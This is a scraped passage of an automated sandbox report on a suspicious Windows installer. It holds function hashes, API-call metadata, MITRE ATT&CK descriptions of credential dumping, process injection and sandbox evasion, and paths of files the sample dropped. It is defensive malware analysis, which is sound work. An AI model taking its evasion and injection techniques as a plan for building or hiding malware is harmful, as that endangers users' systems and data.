wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: powershell.exePID: 7136, Parent PID: 3368COMMON

Executed Functions

Function 072D1798 Relevance: 14.6, Strings: 11, Instructions: 824COMMON

Download Yara Rule

Strings

tPfq, xrefs: 072D1821
$fq, xrefs: 072D17AA
tPfq, xrefs: 072D1815
4'fq, xrefs: 072D1999
4'fq, xrefs: 072D19A5
$fq, xrefs: 072D17DC
$fq, xrefs: 072D17D0
4'fq, xrefs: 072D1DB0
4'fq, xrefs: 072D1DA6
4'fq, xrefs: 072D1F0A
4'fq, xrefs: 072D1F00

Memory Dump Source

Source File: 00000011.00000002.1979357080.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_72d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$tPfq$tPfq$$fq$$fq$$fq
API String ID: 0-2640764970
Opcode ID: 9b79bc51eba19505a794063bff5de221473295dd397b275866c6bb04cfc52e6e
Instruction ID: cc86a6c507d848e39e8ac758d931461f12ac4538310f87a3d0e2b8af7325630f
Opcode Fuzzy Hash: 9b79bc51eba19505a794063bff5de221473295dd397b275866c6bb04cfc52e6e
Instruction Fuzzy Hash: 91427CF1B2425A8FC7258BB984117ABBBF2AFC6310F15806AD505CBA91DB31CD91C792

Function 02F35E10 Relevance: .6, Instructions: 611COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1975206080.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeeca52921d60a0de6ed447fd44398eb73dff2205e3886c27eb4b3d7f4393474
Instruction ID: 6423cabca16a8c4fe84ae15f288a92c93ec1ddc6b5dee1d2ca14138aded50cb3
Opcode Fuzzy Hash: aeeca52921d60a0de6ed447fd44398eb73dff2205e3886c27eb4b3d7f4393474
Instruction Fuzzy Hash: F4423974A00209EFCB05CF98C894AAEBBB5FF88354F258559E945EB365C731EC81CB94

Function 02F32F48 Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1975206080.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ccd4fde014ad1a66aa6e90e452c77b8b125192977093d92ad488e7357bb75c
Instruction ID: 497af58b88638798745b2dea741874a34ca137afeed24561045b374fae761d0c
Opcode Fuzzy Hash: 52ccd4fde014ad1a66aa6e90e452c77b8b125192977093d92ad488e7357bb75c
Instruction Fuzzy Hash: 8E329F70A05245DFCB06CF68C894AAEBFB1FF49314F198196E545AB3A2C735EC45CB90

Function 072D1A54 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1979357080.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_72d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f5f5a9543f3427491fb954243cb7a5a8c60c8ca8a89a16b2d076c00fc8e545a
Instruction ID: 727f401e8a262e65b1370d461c80d78ea0048d2a3b1acc7c9c6a9645abdb2e3b
Opcode Fuzzy Hash: 0f5f5a9543f3427491fb954243cb7a5a8c60c8ca8a89a16b2d076c00fc8e545a
Instruction Fuzzy Hash: D5412CF1A3020BDBDB248FA48641B667BF2AF81344F168065D9019FA51E735DC61C7D2

Function 02F333C0 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1975206080.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cce1a97df0ffff45b614fef06d83f0e4c7597e91563c86aace48d5a1b4cdb8c7
Instruction ID: bb04f417c62344c7df16123ad7e6268866aab772562467c59ddfd493c601f1a9
Opcode Fuzzy Hash: cce1a97df0ffff45b614fef06d83f0e4c7597e91563c86aace48d5a1b4cdb8c7
Instruction Fuzzy Hash: 34415B74A006059FCB06CF59C594ABEFBB1FF48314B1581A9D945AB364C731FD51CBA0

Function 02F32A31 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1975206080.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b0f6a64e3afc1cf4e27123995b507c01cfb8a691c1e3688bf985115c968e3a
Instruction ID: 7ac5d18ab19a5a60c46873c5fe93b79207516782d84d6271a8dfefd2c50e71b4
Opcode Fuzzy Hash: d3b0f6a64e3afc1cf4e27123995b507c01cfb8a691c1e3688bf985115c968e3a
Instruction Fuzzy Hash: DD415E749093859FCB02CFA8C8909AABFB1FF4A31071941D6D989DB363C335AC45CBA1

Function 02F348E0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1975206080.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2258601784b2b48495076b8fc2a57ea42acfcbcfcf677d782a77451231b139a0
Instruction ID: be97a05aaa347f78fccf3eabdcfd45ef60e6ca6cf02a53a69ac0996cd1aedd8c
Opcode Fuzzy Hash: 2258601784b2b48495076b8fc2a57ea42acfcbcfcf677d782a77451231b139a0
Instruction Fuzzy Hash: 4431A270A0A3959FC702CF68D8A09AABFB0EF4A310B1941D7D444DB393C639ED45CBA1

Function 02F32A80 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1975206080.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0b208da1fb26c9c21b2a2a6337df45ad4b1b8d8bc39fdf3fce9335174b3c3bf
Instruction ID: bf17828cb00f15dccc28de58f29213fd9b44b1d8230efa70d6aff414757780b4
Opcode Fuzzy Hash: e0b208da1fb26c9c21b2a2a6337df45ad4b1b8d8bc39fdf3fce9335174b3c3bf
Instruction Fuzzy Hash: B62128B4A042159FCB05CF9DC8809AEFBB1FF48310B1485A5E909E7361C735ED41DBA0

Function 02F348D1 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1975206080.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85cd4ae89e3c0a877bfd5397b0c29b5c6245410c6e2a7440626a6f267e1d921c
Instruction ID: bfa0f6a2014bc498d774ce315a1fe203907544ce6b8999a4b778aa97e7e0c620
Opcode Fuzzy Hash: 85cd4ae89e3c0a877bfd5397b0c29b5c6245410c6e2a7440626a6f267e1d921c
Instruction Fuzzy Hash: A2212C74A002499FCB01DFACD4909AEBBF5FF89310B1481A5E949EB352C735EC41CBA1

Function 02D8D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1974619374.0000000002D8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2d8d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ddd03c057de72276cafa1e179dfd574a366b044a101323cc8a9c2cd7d2d1b5
Instruction ID: 5ff6c73816bf1e759437cfd334b5beb4ab358f77e999945d39de21db63b9e1a8
Opcode Fuzzy Hash: 23ddd03c057de72276cafa1e179dfd574a366b044a101323cc8a9c2cd7d2d1b5
Instruction Fuzzy Hash: C501A2B14093449AE720AA3ADDC4B66BF99DF41364F28C41AED584A3C2C7799C41C6B1

Function 02D8D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1974619374.0000000002D8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2d8d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deffc2c7e0cc53cf88a4cbedd1e8bef54e3aad332fea5fd9f1f655101420e6c1
Instruction ID: 150fdfca6d2fb83ed73ac8bcdb5c0fb23723cb438d4083ad3593fdcca97177bd
Opcode Fuzzy Hash: deffc2c7e0cc53cf88a4cbedd1e8bef54e3aad332fea5fd9f1f655101420e6c1
Instruction Fuzzy Hash: A0014C6240E3C05ED7128B358C94B62BFB8DF53224F1980DBD9988F2E3C2695849C772

Non-executed Functions

Function 072D08A0 Relevance: 10.3, Strings: 8, Instructions: 319COMMON

Download Yara Rule

Strings

4'fq, xrefs: 072D09AE
$fq, xrefs: 072D0A82
tPfq, xrefs: 072D0AED
$fq, xrefs: 072D0AA8
$fq, xrefs: 072D0AB4
#k, xrefs: 072D096F
4'fq, xrefs: 072D09A2
tPfq, xrefs: 072D0AF9

Memory Dump Source

Source File: 00000011.00000002.1979357080.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_72d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$tPfq$tPfq$#k$$fq$$fq$$fq
API String ID: 0-3262759414
Opcode ID: a9ec09f9ca00fd6f71336dcf890e3a7e166e0b107cc1f0996c91a2d1fc253437
Instruction ID: c91be399f39732016f1dbaf85831ae2de26d066cff73e1140610301f7bde7bf0
Opcode Fuzzy Hash: a9ec09f9ca00fd6f71336dcf890e3a7e166e0b107cc1f0996c91a2d1fc253437
Instruction Fuzzy Hash: E3A168B2728356CFDB348B7994117ABBBA6DFC2614F1480ABD545CB2A1DB72CC41C3A1

Function 072D14E8 Relevance: 6.4, Strings: 5, Instructions: 189COMMON

Download Yara Rule

Strings

$fq, xrefs: 072D169A
$fq, xrefs: 072D16A6
4'fq, xrefs: 072D159E
$fq, xrefs: 072D166F
4'fq, xrefs: 072D1592

Memory Dump Source

Source File: 00000011.00000002.1979357080.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_72d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$$fq$$fq$$fq
API String ID: 0-3759051638
Opcode ID: 777399d4d6f17d4628d856e06e65199e678af0614162c50f9101b3cf1f45dcb9
Instruction ID: 45a36bec6a3050dda51f6b370077369c6adc14264d8536be384971447b43f063
Opcode Fuzzy Hash: 777399d4d6f17d4628d856e06e65199e678af0614162c50f9101b3cf1f45dcb9
Instruction Fuzzy Hash: 6C516BF1B3420B8FCB344ABD8411767BBA6AFC2211F19807ED456C7A91DA35CCA1C792

Function 072D3518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$fq, xrefs: 072D3580
$fq, xrefs: 072D3574
$fq, xrefs: 072D352A
$fq, xrefs: 072D3546

Memory Dump Source

Source File: 00000011.00000002.1979357080.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_72d0000_powershell.jbxd

Similarity

API ID:
String ID: $fq$$fq$$fq$$fq
API String ID: 0-2113499236
Opcode ID: 86b1551b82b4eb1ae2c7fc135eebf842a31ccb0238308c83a43beb9e24b4067c
Instruction ID: a16f0c621a2e9e47d5abc3ec34ddb4902190dd93ad830cf752028f0536903c2f
Opcode Fuzzy Hash: 86b1551b82b4eb1ae2c7fc135eebf842a31ccb0238308c83a43beb9e24b4067c
Instruction Fuzzy Hash: 632127F2730247DBDB349AAED841727BF9A9BC9354F24842AA545CB283DD76DC408362

Function 072D34F7 Relevance: 5.1, Strings: 4, Instructions: 93COMMON

Download Yara Rule

Strings

$fq, xrefs: 072D3580
$fq, xrefs: 072D3574
$fq, xrefs: 072D352A
$fq, xrefs: 072D3546

Memory Dump Source

Source File: 00000011.00000002.1979357080.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_72d0000_powershell.jbxd

Similarity

API ID:
String ID: $fq$$fq$$fq$$fq
API String ID: 0-2113499236
Opcode ID: b121e023c65dfd5982bda41bfa52f95a39c325213898e344f324398925c00046
Instruction ID: 7d0309fd1d4d063f338aefe77ad9ad3a2daf4f12bbffaac6f1f6a927ab9898cd
Opcode Fuzzy Hash: b121e023c65dfd5982bda41bfa52f95a39c325213898e344f324398925c00046
Instruction Fuzzy Hash: DE216BF26283829FDB31866ACC417637FA64F8A350F18406BD544CB2D3D929CD45C323

Function 072D0571 Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

$fq, xrefs: 072D05C6
4'fq, xrefs: 072D05DB
$fq, xrefs: 072D05BA
4'fq, xrefs: 072D05E7

Memory Dump Source

Source File: 00000011.00000002.1979357080.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_72d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$$fq$$fq
API String ID: 0-2206495126
Opcode ID: 198344465821b395ebe5426c3b9da3d656bf958c18abf9a7d9530a37ad04d885
Instruction ID: f5fa26f6af9d4990c811ed434602fc4ddf1319efe7440156b9e910ec3fbf83cd
Opcode Fuzzy Hash: 198344465821b395ebe5426c3b9da3d656bf958c18abf9a7d9530a37ad04d885
Instruction Fuzzy Hash: 2601DB9172D2854FC736567848215267F736F92540F1D01DBC481DF3D7CD5A8C0683A7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report installer_1.05_36.7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\x

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Accessing

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Advice

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Appearance

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Buys

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Colour

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Compatible

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Delight

